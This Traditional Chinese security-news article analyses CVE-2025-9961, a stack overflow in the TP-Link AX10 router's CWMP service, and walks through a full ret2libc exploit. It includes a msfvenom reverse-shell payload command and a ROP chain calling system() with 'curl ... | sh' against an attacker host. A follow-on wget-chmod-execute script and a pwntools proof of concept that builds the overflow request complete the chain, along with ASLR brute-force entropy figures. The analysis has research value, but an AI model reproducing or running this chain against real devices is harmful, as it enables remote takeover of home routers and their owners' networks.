摘要

本報告對 TP-Link AX10 路由器中發現的零日漏洞 CVE-2025-9961 進行了全面的技術分析。報告詳細描述了利用 ret2libc 攻擊繞過 ASLR 和 NX 等關鍵安全緩解措施的複雜攻擊過程。文章概述了暴力破解記憶體位址的挑戰以及使用自訂 ACS 伺服器投遞 Malicious payload 的必要性。攻擊者利用 Stack Canary 和 PIE 的缺失,成功連結ROP小工具執行 Reverse shell,最終實現遠端命令執行。文章為安全專業人員和研究人員提供了詳細的攻略,為現代路由器安全漏洞和攻擊技術提供了重要見解。

你的路由器安全嗎?深度解析TP-Link AX10零時差漏洞,保護你的數位生活 | 資訊安全新聞

1. 漏洞與漏洞攻擊策略簡介

對 TP-Link AX10 路由器 CVE-2025-9961 的漏洞攻擊,主要是因為存在位址空間配置隨機載入 (Address Space Layout Randomization, ASLR),而採用 ret2libc 攻擊。其核心挑戰在於記憶體位址的動態性質,需要使用暴力破解法來確定正確的基底位址。然而,如果猜測的位址不正確,這種暴力破解可能會導致 CWMP 服務 crash (SIGSEGV)。研究人員透過利用對 TP-Link 網頁控制面板的存取權限來重新啟動服務,確保漏洞攻擊最終能夠成功,儘管最初存在不穩定性 [1]。

2. 漏洞攻擊步驟與程式碼分析

漏洞攻擊過程被精心設計,涉及幾個關鍵步驟以實現 Reverse shell。本節將分解原始研究中提供的指令和程式碼片段。

2.1 產生Reverse shell Payload

第一步是建立一個能夠建立Reverse shell 的 ARM32 ELF 可執行檔。這通常是使用 msfvenom 完成,它是 Metasploit Framework 中一個強大的 payload 產生工具。

msfvenom -p linux/armle/shell_reverse_tcp LHOST=[attacker ip] LPORT=[port to listen] -f elf -o app

分析:

  • msfvenom :用於產生 payloads 的命令列工具。
  • -p linux/armle/shell_reverse_tcp :指定 payload 類型。 linux/armle 表示適用於 ARM Little-Endian架構的 Linux-based payload,而 shell_reverse_tcp 則表示 Reverse TCP shell,其中目標會回連到攻擊者。
  • LHOST=[attacker ip] :定義攻擊機器的 IP 位址,用於設定Reverse shell 的監聽器。
  • LPORT=[port to listen] :指定攻擊機器上將監聽來自目標連線的 port。
  • -f elf :以 ELF (Executable and Linkable Format) 格式輸出 payload,適用於 Linux 可執行檔。
  • -o app :將輸出檔命名為 app

這個產生的 app 檔案是惡意可執行檔,一旦在路由器上執行,將為攻擊者提供遠端命令執行能力。

2.2 設定 HTTP Server 以傳送 Payload

為了將產生的 ELF 檔案傳送到有漏洞的路由器,攻擊機器上會設定一個簡單的 HTTP server。

python3 -m http.server

分析:

  • python3 -m http.server :此命令使用 Python 內建的 http.server 模組啟動一個基本的 HTTP server。預設情況下,它會從當前目錄在 port 8000 提供檔案。這讓路由器能夠透過 HTTP 下載 app payload。

2.3 建構 ROP Chain 與系統呼叫

ret2libc 攻擊的核心在於精心建構一個 Return-Oriented Programming (ROP) chain,以執行任意函式,特別是來自 libc 函式庫的 system() 。這裡的挑戰是找到 gadgets 和 system() 函式本身的正確位址,以及要執行的命令。

  1. buf+= p32(0xb6d7d730) # pop {r0,pc}
  2. buf+= p32(0xb6a88d90) # cmd address (stack) (curl ...)
  3. buf+= p32(0xb6ca96c8) # system()

分析:

  • p32() :這個函式(很可能來自 pwntools 函式庫,如完整的 PoC 中的 from pwn import * 所示)將一個整數壓縮成 4 位元組的 Little-Endian 格式,適用於 ARM32 架構。
  • 0xb6d7d730 # pop {r0,pc} :這是 ROP gadget 的位址。 pop {r0,pc} 表示堆疊頂部的數值將被彈出到暫存器 r0 ,而下一個數值將被 pop 到程式計數器 ( pc ),從而有效地控制程式執行的流程。根據 ARM 呼叫慣例, r0 通常用於函式呼叫的第一個參數。
  • 0xb6a88d90 # cmd address (stack) (curl ...) :這個位址指向堆疊中儲存命令字串(例如 curl http://192.168.0.59:8000/show | sh )的位置。這個位址將透過 pop {r0,pc} gadget 載入到 r0 ,使其成為 system() 函式的參數。
  • 0xb6ca96c8 # system() :這是 libc system() 函式的位址。在 r0 載入命令位址後, pc 將被設定為此位址,導致 system() 被執行,並將指定的命令作為其參數。

該研究指出,由於存在 null 位元組 ( \x00 ),會導致 payload 過早終止 [1],因此無法使用 CWMP gadgets。這凸顯了二進位漏洞攻擊中的一個常見挑戰,即 payload 內容必須仔細建構以避免此類終止字元。

ROP Chain 圖表

graph TD A[Stack Pointer] --> B[Gadget: pop r0 pc] B --> C[Address of Command String] C --> D[Address of system function] D --> E[Execute system command]

2.4 執行 Payload 命令

傳遞給 system() 的命令旨在下載並執行先前產生的Reverse shell payload

buf+= b"curl http://192.168.0.59:8000/show | sh"

分析:

  • curl http://192.168.0.59:8000/show | sh :此命令首先使用 curl 從攻擊者的 HTTP server (位於 192.168.0.59:8000 ) 下載一個名為 show 的檔案。然後,這個 show 檔案的內容會被傳送 ( | ) 給 sh ,由 sh 將其作為 shell script 執行。

show 檔案的內容對於漏洞攻擊的最後階段至關重要:

wget http://[attacker]:8000/app -O /tmp/app && chmod +x /tmp/app && /tmp/app

分析:

  • wget http://[attacker]:8000/app -O /tmp/app :從攻擊者的 HTTP server 下載 app ELF 檔案(Reverse shell payload),並將其儲存為路由器上的 /tmp/app
  • chmod +x /tmp/app :使下載的 app 檔案可執行。
  • /tmp/app :執行 app 檔案,從而建立回連至攻擊者機器的Reverse shell 連線。

3. 系統環境與防禦措施分析

了解目標系統的安全性防禦措施對於成功漏洞攻擊至關重要。該研究提供了對 cwmp 二進位檔的特性和 ASLR 設定的洞見。

3.1 checksec 輸出分析

checksec 公用程式提供了針對特定二進位檔啟用的安全功能快速概覽。

$ checksec --file=./cwmp
[*] '/home/md7/LAB/tplink/cwmp/cwmp'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

分析:

  • Arch: arm-32-little :確認架構為 ARM 32 位元,Little-Endian,這對於 payload 產生和 ROP chain 建構很重要。
  • RELRO: Partial RELRO :部分重新定位唯讀 (RELRO) 表示二進位檔的某些區段在重新定位後是唯讀的,但其他區段(如全域位移表,Global Offset Table,GOT)可能仍然可寫。這提供了一些保護,但不如 Full RELRO 強大。
  • Stack: No canary found :沒有堆疊 canaries 是個關鍵發現。堆疊 canaries 是放置在堆疊上的數值,用於偵測緩衝區溢位。它們的缺乏使得基於堆疊的緩衝區溢位漏洞(如這裡攻擊的漏洞)更容易攻擊。
  • NX: NX enabled :非執行 (Non-Executable, NX) 位元已啟用,這表示指定用於資料的記憶體區域(如堆疊或 Heap)不能執行程式碼。這可以防止直接執行放置在堆疊上的 shellcode,因此需要像 ROP 這樣的技術來繞過它。
  • PIE: No PIE (0x10000) :位置獨立可執行檔 (Position Independent Executable, PIE) 已停用。這是一個關鍵的漏洞。當 PIE 停用時,可執行檔在記憶體中的基底位址是固定的,這使得預測二進位檔中函式和 gadgets 的位址變得更容易。儘管系統範圍內的 ASLR 已啟用,但 cwmp 二進位檔缺乏 PIE 簡化了漏洞攻擊,因為它固定了自己的程式碼區段位址,儘管 libc 位址仍然需要暴力破解。

3.2 ASLR 設定

ASLR 是一種記憶體保護技術,可隨機化關鍵資料區域的記憶體位置。系統的 ASLR 設定可透過 /proc/sys/kernel/randomize_va_space 進行檢查。

$ cat /proc/sys/kernel/randomize_va_space
2

分析:

  • 數值 2 表示完整 ASLR,這意味著堆疊、Heap 和 libc 的基底位址都是隨機化的。這證實了漏洞攻擊策略中提到的需要暴力破解 libc 位址。

3.3 ASLR Entropy 位元

研究進一步詳細介紹了 libc 和堆疊的 entropy 位元,這些位元量化了 ASLR 應用的隨機性。

libc:
101101101 | xxxxxxxxxxx | 000000000000
9-bit fix   11 bits       12 bits

Stack:
1011011010 | xxxxxxxxxx | 000000000000
10 bit fix   10 bits      12 bits

分析:

  • libc: libc 的基底位址有 9 個固定位元、11 個 entropy 位元(隨機化)和 12 個固定位元。11 個 entropy 位元意味著 libc 有 2^11(2048)個可能的基底位址。這個數字足夠小,可以在合理的時間範圍內進行暴力破解,特別是如果服務在 crash 後可以重新啟動。
  • Stack: 堆疊的基底位址有 10 個固定位元、10 個 entropy 位元和 12 個固定位元。與 libc 類似,10 個 entropy 位元(2^10 = 1024 種可能性)也使堆疊位址易受暴力破解攻擊。

這些 entropy 數值對於了解針對 ASLR 進行暴力破解攻擊的可行性和可靠性至關重要。 libc 和堆疊的相對較低 entropy 使暴力破解方法可行。

4. 攻擊工作流程與 ACS 模擬

攻擊工作流程圖

graph TD A[Start] --> B{Vulnerability Found}; B --> C{ASLR Enabled?}; C -- Yes --> D[Brute Force Addresses]; C -- No --> E[Direct Exploit]; D --> F{Service Crash?}; F -- Yes --> G[Restart Service]; G --> D; F -- No --> H[Get Shell]; E --> H; H --> I[End];

4.1 GenieACS 的問題

最初,概念驗證 (PoC) 使用 GenieACS 來傳送 payload。然而,GenieACS 被證明不可靠,因為它的 UI/儲存 pipeline 無法忠實地傳輸完整的 0x00–0xFF 位元組範圍。它只保留可列印的位元組和部分不可列印的字元,這會損壞二進位 payloads 並阻礙漏洞攻擊的成功 [1]。此限制是透過非為此目的設計的系統傳輸二進位資料時的常見障礙。

4.2 客製化 ACS Server 解決方案

為了克服 GenieACS 的限制,研究人員選擇設定一個客製化的 ACS (Auto-Configuration Server, 自動組態伺服器) server。這個客製化 server 能夠精確控制 payload 傳輸,確保完整的二進位 payload 可以無損地傳送。這種方法證明了在進階漏洞攻擊情境中,對彈性和控制的需求。

4.3 SOAP Request 的 Python PoC

該研究提供了一個 Python script 片段,演示了如何透過 SOAP XML request 將建構好的 payload 傳輸到路由器。這包括建構一個 JSON payload,將特定的參數 ( InternetGatewayDevice.DeviceInfo.ProvisioningCode ) 設定為 ROP chain。

  1. from pwn import *
  2. import json
  3. # CWMP server details (change these accordingly)
  4. host = "192.168.0.59" # Replace with the modem\'s IP
  5. port = 3000 # Default TR-069 port UI
  6. elf = context.binary = ELF("./cwmp")
  7. stack_buffer_size = 3108
  8. rop = ROP(elf)
  9. rop.raw("A" * stack_buffer_size + "BBBB")
  10. payload_array = [
  11.     {
  12.         "name": "setParameterValues",
  13.         "parameterValues": [
  14.             [
  15.                 "InternetGatewayDevice.DeviceInfo.ProvisioningCode",
  16.                 rop.chain().decode("ascii"),
  17.                 "xsd:string",
  18.             ],
  19.         ]
  20.     }
  21. ]
  22. formatted = json.dumps(payload_array)
  23. # SOAP XML to set a parameter (example)
  24. soap_request = f"""\
  25. POST /api/devices/9CA2F4-IGD-9CA2F404D794/tasks HTTP/1.1
  26. Host: {host}
  27. Accept: application/json, text/*
  28. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
  29. Content-Type: application/json; charset=UTF-8
  30. Content-Length: {len(formatted)}
  31. Accept-Encoding: gzip, deflate, br
  32. Accept-Language: en-US,en;q=0.9
  33. Cookie: genieacs-ui-jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjkwNDA0NjI3LCJleHAiOjE2OTA0MjYyMjd9.9w6gS9p9pS2p_9cQ8bJj8c_x9b_Q8bJj8c_x9b
  34. {formatted}
  35. """.replace(
  36.     "\n", "\r\n"
  37. )
  38. data = soap_request.encode()
  39. with open("poc", "wb") as f:
  40.     f.write(data)

分析:

  • from pwn import * import json :匯入用於漏洞開發的 pwntools 函式庫和用於處理 JSON 資料的 json
  • host port :CWMP server 的設定,即路由器的 IP 和 TR-069 port。
  • elf = context.binary = ELF("./cwmp") :將 cwmp 二進位檔載入 pwntools 進行分析,以便輕鬆存取其 symbols 和 gadgets。
  • stack_buffer_size = 3108 :定義要溢位的緩衝區大小。此值對於正確覆寫回傳位址至關重要。
  • rop = ROP(elf) :初始化 cwmp 二進位檔的 ROP 物件,這有助於尋找和串聯 ROP gadgets。
  • rop.raw("A" * stack_buffer_size + "BBBB") :此行建構了 payload 的初始部分。它用 'A' 填滿緩衝區直到 stack_buffer_size ,然後用 'BBBB' 覆寫儲存的回傳位址。這個 'BBBB' 通常會被第一個 ROP gadget 的位址取代。
  • payload_array :這個 JSON 結構旨在與 CWMP 協定互動。它呼叫 setParameterValues 來設定 InternetGatewayDevice.DeviceInfo.ProvisioningCode 參數。此參數的數值是 ROP chain ( rop.chain().decode("ascii") ),然後被執行。
  • formatted = json.dumps(payload_array) :將 Python dictionary 轉換為 JSON 字串。
  • soap_request :這個多行 f-string 建構了完整的 HTTP POST request,包括像 Host User-Agent Content-Type Cookie 等 headers。格式化的 JSON payload 嵌入在 request 主體中。 replace 呼叫確保換行符號正確地格式化為 HTTP ( \r\n )。
  • data = soap_request.encode() :將 HTTP request 字串編碼為位元組。
  • with open("poc", "wb") as f: f.write(data) :將完整的 HTTP request(包含漏洞攻擊 payload)寫入一個名為 poc 的檔案。然後,這個檔案將被發送到路由器。

這個 Python script 演示了將建構好的 ROP chain 和 Reverse shell 命令精確傳輸到有漏洞設備的方法,繞過了標準 ACS 實作的限制。

5. 結論

TP-Link AX10 路由器 CVE-2025-9961 的漏洞攻擊是一個複雜的過程,利用了幾個漏洞並繞過了各種安全防禦措施。由於缺乏堆疊 canaries 和 PIE,加上 libc 和堆疊的 ASLR entropy 相對較低,使得 ret2libc 攻擊變得可行。需要客製化 ACS server 的需求凸顯了現實世界漏洞攻擊中的實際挑戰以及克服這些挑戰所需的獨創性。這項研究提供了對零時差漏洞攻擊的全面技術演練,為現代路由器安全和漏洞攻擊技術提供了寶貴的見解。